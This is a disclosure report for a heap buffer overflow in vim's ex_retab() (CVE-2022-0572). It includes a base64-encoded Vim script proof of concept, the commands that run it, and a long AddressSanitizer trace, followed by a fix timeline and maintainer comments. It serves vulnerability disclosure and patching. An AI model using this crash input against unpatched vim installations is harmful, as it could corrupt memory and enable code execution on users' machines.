Heap-based Buffer Overflow in vim/vim

Valid Reported on Feb 10th 2022

0

Description

Heap overflow occurs in ex_retab().
commit : 414acd342f4a66d930da34d419929985b48bd301

Proof of Concept

```
$ echo -ne "ZnUgUihiLG4pCmxldCBvbGRfdGFic3RvcD0mdGFic3RvcApleGUicmV0ImE6bgp
J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFJ
JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiJ
UignJywwKQo=" | base64 -d > poc

# ASAN
$ ./bin/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
================================================================
==15561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f99766
WRITE of size 49437514 at 0x7f99766cb000 thread T0
    #0 0x499a41 in __asan_memmove (/home/alkyne/vim-debug/src/vim.asan+0x49
    #1 0x7e63a6 in ex_retab /home/alkyne/vim-debug/src/indent.c:1732:4
    #2 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #3 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #4 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
    #5 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #6 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #7 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:281
    #8 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc
    #9 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #10 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:
    #11 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c
    #12 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c
    #13 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
```

```
#14 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#15 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#16 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9

#17 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#18 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#19 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#20 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727
#21 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#22 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#23 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#24 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#25 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#26 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#27 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781
#28 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#29 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#30 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#31 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#32 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#33 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#34 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#35 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#36 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#37 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727
#38 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#39 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#40 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#41 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#42 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#43 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#44 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781
#45 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#46 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#47 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#48 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#49 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#50 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#51 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:
#52 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c
#53 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
```

```
#54 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:
#55 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#56 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2

#57 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#58 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#59 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfur
#60 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#61 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:
#62 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#63 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#64 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#65 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#66 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#67 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#68 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#69 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#70 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#71 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:
#72 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#73 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#74 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#75 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#76 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfur
#77 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#78 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:
#79 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#80 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#81 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#82 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#83 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#84 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#85 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#86 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#87 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#88 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:
#89 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#90 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#91 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex
#92 0xcc599c in call_user_func /home/alkyne/vim-debug/s
#93 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfur
```

```
#94 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#95 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:
#96 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8

#97 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#98 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#99 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#100 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#101 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#102 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#103 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#104 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#105 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727
#106 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#107 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#108 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#109 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#110 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#111 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:1
#112 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781
#113 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#114 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
#115 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
#116 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
#117 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
#118 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
#119 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
#120 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
#121 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
#122 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727
#123 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
#124 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#125 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#126 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#127 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#128 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:1
#129 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781
#130 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
#131 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:
#132 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval
#133 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
```

```
    #134 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #135 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #136 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9

    #137 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #138 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #139 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:172
    #140 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #141 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
    #142 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #143 0xacfae4 in do_source /home/alkyne/vim-debug/src/scriptfile.c:1512
    #144 0xacd35c in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:109
    #145 0xacd0dd in ex_source /home/alkyne/vim-debug/src/scriptfile.c:1124
    #146 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
    #147 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #148 0x6b43f0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:5
    #149 0xe9ce54 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
    #150 0xe9ab8e in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2
    #151 0xe947cb in main /home/alkyne/vim-debug/src/main.c:424:12
    #152 0x7f998957f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31
    #153 0x41d9cd in _start (/home/alkyne/vim-debug/src/vim.asan+0x41d9cd)

0x7f99766cb000 is located 6144 bytes to the left of 9315507-byte region [0x
allocated by thread T0 here:
    #0 0x49a17d in __interceptor_malloc (/home/alkyne/vim-debug/src/vim.asa
    #1 0x4cc2d8 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
    #2 0x4cc229 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
    #3 0x7e632a in ex_retab /home/alkyne/vim-debug/src/indent.c:1727:15
    #4 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #5 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #6 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
    #7 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #8 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #9 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:281
    #10 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
    #11 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #12 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781
    #13 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
    #14 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:
    #15 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.
    #16 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
```

```
    #17 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
    #18 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
    #19 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9

    #20 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
    #21 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
    #22 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:
    #23 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
    #24 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #25 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #26 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
    #27 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
    #28 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
    #29 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src
Shadow bytes around the buggy address:
  0x0ff3aecd15b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff3aecd15f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff3aecd1600:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff3aecd1650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
```

```
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb

  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15561==ABORTING
```

Impact

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE
CVE-2022-0572
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by
alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 2,493 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago Maintainer

fixed with patch 8.2.4359

Bram Moolenaar marked this as fixed in **8.2** with commit **6e2870** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

xiaoge1001 5 months ago

I used vim-8.2 to execute the following codes according to the description.:

```
J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFIo
JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs
UignJywwKQo=" | base64 -d > poc

vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"```
As a result, Segmentation fault occurred in the program. I merged patch-8.2.4359, and
```

xiaoge1001 5 months ago

It took me a long time (1.2min) to get the results when I used vim-8.2.5079. If I press ctrl-c, the

It took me a long time (1-2min) to get the results when I used vim-8.2.5079. If I press ctrl-c, the program execution can't be stopped, at the same time, the program will remain stuck and cannot be automatically terminated (I have waited for more than ten minutes, and the program remains stuck).
latest-vim-test

I wonder if this is normal? Thanks.

Bram Moolenaar 5 months ago Maintainer

Stopping the program with CTRL-C doesn't work because of the command line arguments given. When just using "-u NONE" it works.
I cannot reproduce any illegal memory access. I can only reproduce that it hangs and has to be killed. That is not really a bug, just giving the wrong input.
I can make it a bit better by setting "got_int" when the line is getting too long, I have done that in patch 8.2.5080.

Sign in to join this conversation

privacy policy

Chat with us